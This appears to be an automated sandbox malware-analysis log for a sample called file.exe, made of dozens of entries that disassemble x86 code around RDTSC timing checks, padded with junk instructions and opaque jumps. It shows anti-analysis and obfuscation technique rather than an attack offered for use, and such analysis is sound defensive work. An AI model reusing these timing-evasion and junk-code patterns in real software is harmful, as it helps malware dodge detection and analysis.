Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FE5067 second address: 5FE506D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FE506D second address: 5FE50B9 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xor dword ptr [esp], 69EDE04Bh 0x0000000f add dword ptr [ebp+122D2D7Eh], ecx 0x00000015 push 00000003h 0x00000017 mov dword ptr [ebp+122D2C1Eh], edi 0x0000001d or edi, dword ptr [ebp+122D1D8Ah] 0x00000023 push 00000000h 0x00000025 mov cx, 3200h 0x00000029 push 00000003h 0x0000002b sub esi, 78A0DA91h 0x00000031 cld 0x00000032 push F5CF5381h 0x00000037 push eax 0x00000038 push edx 0x00000039 push eax 0x0000003a jmp 00007FF7B4BDD211h 0x0000003f pop eax 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6004082 second address: 6004091 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FF7B4BE4C3Ah 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c push ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6004501 second address: 600450B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FF7B4BDD206h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 600450B second address: 6004515 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FF7B4BE4C36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6004515 second address: 6004524 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FF7B4BDD20Ah 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6004524 second address: 600452A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 600467B second address: 6004681 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6004681 second address: 6004698 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FF7B4BE4C3Dh 0x0000000b push eax 0x0000000c push edx 0x0000000d push edi 0x0000000e pop edi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6005024 second address: 6005028 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FFCED6 second address: 5FFCEDA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FD00CB second address: 5FD00D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FD00D0 second address: 5FD00F3 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007FF7B4BE4C42h 0x00000008 pop edx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FF7B4BE4C3Bh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6005193 second address: 60051C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pushad 0x00000007 jnl 00007FF7B4BDD206h 0x0000000d je 00007FF7B4BDD206h 0x00000013 jc 00007FF7B4BDD206h 0x00000019 je 00007FF7B4BDD206h 0x0000001f popad 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 popad 0x00000024 jmp 00007FF7B4BDD211h 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 600A80E second address: 600A828 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [eax] 0x0000000c jc 00007FF7B4BE4C42h 0x00000012 jc 00007FF7B4BE4C3Ch 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 600D894 second address: 600D899 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 600D899 second address: 600D8AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FF7B4BE4C36h 0x0000000a jc 00007FF7B4BE4C36h 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 600D8AE second address: 600D8B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 601276F second address: 6012773 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6011A39 second address: 6011A50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jno 00007FF7B4BDD212h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6011A50 second address: 6011A71 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF7B4BE4C47h 0x00000007 push eax 0x00000008 push edx 0x00000009 js 00007FF7B4BE4C36h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6011A71 second address: 6011A90 instructions: 0x00000000 rdtsc 0x00000002 js 00007FF7B4BDD206h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push ebx 0x0000000f jbe 00007FF7B4BDD208h 0x00000015 push ecx 0x00000016 pop ecx 0x00000017 push eax 0x00000018 push edx 0x00000019 jg 00007FF7B4BDD206h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6011A90 second address: 6011A94 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6011C08 second address: 6011C22 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push esi 0x00000006 pop esi 0x00000007 push edx 0x00000008 pop edx 0x00000009 popad 0x0000000a pushad 0x0000000b push edx 0x0000000c pop edx 0x0000000d jmp 00007FF7B4BDD20Bh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6011C22 second address: 6011C32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 jne 00007FF7B4BE4C3Ch 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6011C32 second address: 6011C3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6011C3A second address: 6011C40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6011F4A second address: 6011F4F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60123D5 second address: 6012408 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF7B4BE4C3Dh 0x00000007 push edx 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jng 00007FF7B4BE4C4Ah 0x00000011 jmp 00007FF7B4BE4C44h 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 pop eax 0x0000001a pushad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 601258B second address: 60125C7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF7B4BDD212h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007FF7B4BDD211h 0x0000000e jl 00007FF7B4BDD20Eh 0x00000014 jnp 00007FF7B4BDD206h 0x0000001a push ebx 0x0000001b pop ebx 0x0000001c popad 0x0000001d pushad 0x0000001e push edi 0x0000001f pushad 0x00000020 popad 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6015C83 second address: 6015D03 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF7B4BE4C44h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 add dword ptr [esp], 4D39FB5Fh 0x00000010 mov edi, dword ptr [ebp+122D39F9h] 0x00000016 call 00007FF7B4BE4C39h 0x0000001b pushad 0x0000001c jmp 00007FF7B4BE4C45h 0x00000021 jne 00007FF7B4BE4C3Ch 0x00000027 popad 0x00000028 push eax 0x00000029 push ecx 0x0000002a push edi 0x0000002b pushad 0x0000002c popad 0x0000002d pop edi 0x0000002e pop ecx 0x0000002f mov eax, dword ptr [esp+04h] 0x00000033 push edi 0x00000034 pushad 0x00000035 jmp 00007FF7B4BE4C42h 0x0000003a pushad 0x0000003b popad 0x0000003c popad 0x0000003d pop edi 0x0000003e mov eax, dword ptr [eax] 0x00000040 push eax 0x00000041 push edx 0x00000042 push ebx 0x00000043 jp 00007FF7B4BE4C36h 0x00000049 pop ebx 0x0000004a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6015D03 second address: 6015D08 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6015E97 second address: 6015E9B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6015E9B second address: 6015E9F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 601600F second address: 6016019 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007FF7B4BE4C36h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6016239 second address: 601623D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60167FC second address: 6016801 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6016801 second address: 6016806 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6016887 second address: 6016890 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60169D4 second address: 60169D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60169D9 second address: 60169DF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6016D36 second address: 6016D3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60192C0 second address: 60192DF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF7B4BE4C46h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push esi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6017A8D second address: 6017A94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 601AD38 second address: 601AD49 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c push eax 0x0000000d pop eax 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 601AD49 second address: 601AD4F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 601D168 second address: 601D176 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c push edi 0x0000000d pop edi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 601D176 second address: 601D17A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 601D847 second address: 601D851 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FF7B4BE4C36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 601D851 second address: 601D856 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 601D856 second address: 601D8AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a add esi, 4591DEA0h 0x00000010 push 00000000h 0x00000012 push 00000000h 0x00000014 push ebp 0x00000015 call 00007FF7B4BE4C38h 0x0000001a pop ebp 0x0000001b mov dword ptr [esp+04h], ebp 0x0000001f add dword ptr [esp+04h], 00000014h 0x00000027 inc ebp 0x00000028 push ebp 0x00000029 ret 0x0000002a pop ebp 0x0000002b ret 0x0000002c call 00007FF7B4BE4C3Dh 0x00000031 mov di, bx 0x00000034 pop edi 0x00000035 xor di, 9D75h 0x0000003a push 00000000h 0x0000003c xor edi, 54EEF712h 0x00000042 or esi, 441C96A1h 0x00000048 xchg eax, ebx 0x00000049 push ebx 0x0000004a push eax 0x0000004b push edx 0x0000004c push eax 0x0000004d push edx 0x0000004e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 601D8AE second address: 601D8B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 601E245 second address: 601E24A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 601E24A second address: 601E2AC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jnp 00007FF7B4BDD206h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f jmp 00007FF7B4BDD211h 0x00000014 nop 0x00000015 push 00000000h 0x00000017 push esi 0x00000018 call 00007FF7B4BDD208h 0x0000001d pop esi 0x0000001e mov dword ptr [esp+04h], esi 0x00000022 add dword ptr [esp+04h], 0000001Dh 0x0000002a inc esi 0x0000002b push esi 0x0000002c ret 0x0000002d pop esi 0x0000002e ret 0x0000002f movsx esi, di 0x00000032 push 00000000h 0x00000034 movsx esi, cx 0x00000037 push 00000000h 0x00000039 je 00007FF7B4BDD20Ch 0x0000003f sub dword ptr [ebp+122D25D2h], esi 0x00000045 xchg eax, ebx 0x00000046 pushad 0x00000047 push eax 0x00000048 push edx 0x00000049 pushad 0x0000004a popad 0x0000004b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 601E2AC second address: 601E2F1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF7B4BE4C3Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007FF7B4BE4C40h 0x0000000e popad 0x0000000f push eax 0x00000010 pushad 0x00000011 pushad 0x00000012 jc 00007FF7B4BE4C36h 0x00000018 push esi 0x00000019 pop esi 0x0000001a popad 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007FF7B4BE4C48h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 601EAD4 second address: 601EAD9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 601EAD9 second address: 601EADE instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60203FA second address: 6020413 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FF7B4BDD214h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6020413 second address: 6020497 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 jc 00007FF7B4BE4C3Eh 0x0000000e nop 0x0000000f add edi, dword ptr [ebp+122D5C36h] 0x00000015 xor edi, dword ptr [ebp+122D3894h] 0x0000001b push 00000000h 0x0000001d push 00000000h 0x0000001f push ecx 0x00000020 call 00007FF7B4BE4C38h 0x00000025 pop ecx 0x00000026 mov dword ptr [esp+04h], ecx 0x0000002a add dword ptr [esp+04h], 0000001Ch 0x00000032 inc ecx 0x00000033 push ecx 0x00000034 ret 0x00000035 pop ecx 0x00000036 ret 0x00000037 push 00000000h 0x00000039 push 00000000h 0x0000003b push edx 0x0000003c call 00007FF7B4BE4C38h 0x00000041 pop edx 0x00000042 mov dword ptr [esp+04h], edx 0x00000046 add dword ptr [esp+04h], 00000015h 0x0000004e inc edx 0x0000004f push edx 0x00000050 ret 0x00000051 pop edx 0x00000052 ret 0x00000053 mov dword ptr [ebp+122D1D11h], ecx 0x00000059 push eax 0x0000005a push eax 0x0000005b push edx 0x0000005c push eax 0x0000005d push edx 0x0000005e jmp 00007FF7B4BE4C41h 0x00000063 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6020497 second address: 60204A7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF7B4BDD20Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60204A7 second address: 60204AD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6021F49 second address: 6021F4E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6022488 second address: 602250C instructions: 0x00000000 rdtsc 0x00000002 js 00007FF7B4BE4C3Ch 0x00000008 jp 00007FF7B4BE4C36h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov dword ptr [esp], eax 0x00000013 jmp 00007FF7B4BE4C47h 0x00000018 mov di, 4E5Bh 0x0000001c push 00000000h 0x0000001e push 00000000h 0x00000020 push ebp 0x00000021 call 00007FF7B4BE4C38h 0x00000026 pop ebp 0x00000027 mov dword ptr [esp+04h], ebp 0x0000002b add dword ptr [esp+04h], 0000001Bh 0x00000033 inc ebp 0x00000034 push ebp 0x00000035 ret 0x00000036 pop ebp 0x00000037 ret 0x00000038 call 00007FF7B4BE4C46h 0x0000003d jno 00007FF7B4BE4C3Ch 0x00000043 pop ebx 0x00000044 push 00000000h 0x00000046 mov dword ptr [ebp+124817BDh], edi 0x0000004c xchg eax, esi 0x0000004d pushad 0x0000004e push eax 0x0000004f push edx 0x00000050 pushad 0x00000051 popad 0x00000052 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 602250C second address: 6022510 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6022510 second address: 6022532 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jl 00007FF7B4BE4C36h 0x0000000d pop eax 0x0000000e popad 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push ecx 0x00000013 jmp 00007FF7B4BE4C3Eh 0x00000018 pop ecx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6022532 second address: 6022537 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6020D97 second address: 6020DB6 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007FF7B4BE4C3Bh 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FF7B4BE4C3Ah 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6023521 second address: 6023596 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push edx 0x0000000d call 00007FF7B4BDD208h 0x00000012 pop edx 0x00000013 mov dword ptr [esp+04h], edx 0x00000017 add dword ptr [esp+04h], 00000018h 0x0000001f inc edx 0x00000020 push edx 0x00000021 ret 0x00000022 pop edx 0x00000023 ret 0x00000024 mov dword ptr [ebp+1248EF60h], eax 0x0000002a push 00000000h 0x0000002c movsx edi, si 0x0000002f push 00000000h 0x00000031 push 00000000h 0x00000033 push ecx 0x00000034 call 00007FF7B4BDD208h 0x00000039 pop ecx 0x0000003a mov dword ptr [esp+04h], ecx 0x0000003e add dword ptr [esp+04h], 00000016h 0x00000046 inc ecx 0x00000047 push ecx 0x00000048 ret 0x00000049 pop ecx 0x0000004a ret 0x0000004b or dword ptr [ebp+122D285Dh], edx 0x00000051 push eax 0x00000052 pushad 0x00000053 pushad 0x00000054 push eax 0x00000055 pop eax 0x00000056 jbe 00007FF7B4BDD206h 0x0000005c popad 0x0000005d pushad 0x0000005e jmp 00007FF7B4BDD20Bh 0x00000063 push eax 0x00000064 push edx 0x00000065 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60245B0 second address: 60245B4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60245B4 second address: 60245BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 602550E second address: 6025514 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60226CD second address: 602276D instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FF7B4BDD206h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007FF7B4BDD20Eh 0x0000000f popad 0x00000010 mov dword ptr [esp], eax 0x00000013 clc 0x00000014 push dword ptr fs:[00000000h] 0x0000001b add dword ptr [ebp+122D1F25h], ebx 0x00000021 mov dword ptr fs:[00000000h], esp 0x00000028 or dword ptr [ebp+1245C78Dh], ecx 0x0000002e mov dword ptr [ebp+122D259Fh], edi 0x00000034 mov eax, dword ptr [ebp+122D156Dh] 0x0000003a push 00000000h 0x0000003c push eax 0x0000003d call 00007FF7B4BDD208h 0x00000042 pop eax 0x00000043 mov dword ptr [esp+04h], eax 0x00000047 add dword ptr [esp+04h], 00000019h 0x0000004f inc eax 0x00000050 push eax 0x00000051 ret 0x00000052 pop eax 0x00000053 ret 0x00000054 mov edi, 38AA9F66h 0x00000059 push FFFFFFFFh 0x0000005b push 00000000h 0x0000005d push eax 0x0000005e call 00007FF7B4BDD208h 0x00000063 pop eax 0x00000064 mov dword ptr [esp+04h], eax 0x00000068 add dword ptr [esp+04h], 0000001Dh 0x00000070 inc eax 0x00000071 push eax 0x00000072 ret 0x00000073 pop eax 0x00000074 ret 0x00000075 mov bx, 21A9h 0x00000079 and ebx, dword ptr [ebp+122D2A2Ah] 0x0000007f nop 0x00000080 pushad 0x00000081 push eax 0x00000082 push edx 0x00000083 pushad 0x00000084 popad 0x00000085 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 602276D second address: 6022787 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF7B4BE4C3Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jnp 00007FF7B4BE4C36h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6027465 second address: 602747A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FF7B4BDD206h 0x0000000a popad 0x0000000b push eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f jnp 00007FF7B4BDD206h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 602747A second address: 602748C instructions: 0x00000000 rdtsc 0x00000002 jg 00007FF7B4BE4C36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a je 00007FF7B4BE4C3Ch 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60294F5 second address: 6029512 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF7B4BDD20Ch 0x00000009 popad 0x0000000a popad 0x0000000b push eax 0x0000000c pushad 0x0000000d pushad 0x0000000e js 00007FF7B4BDD206h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
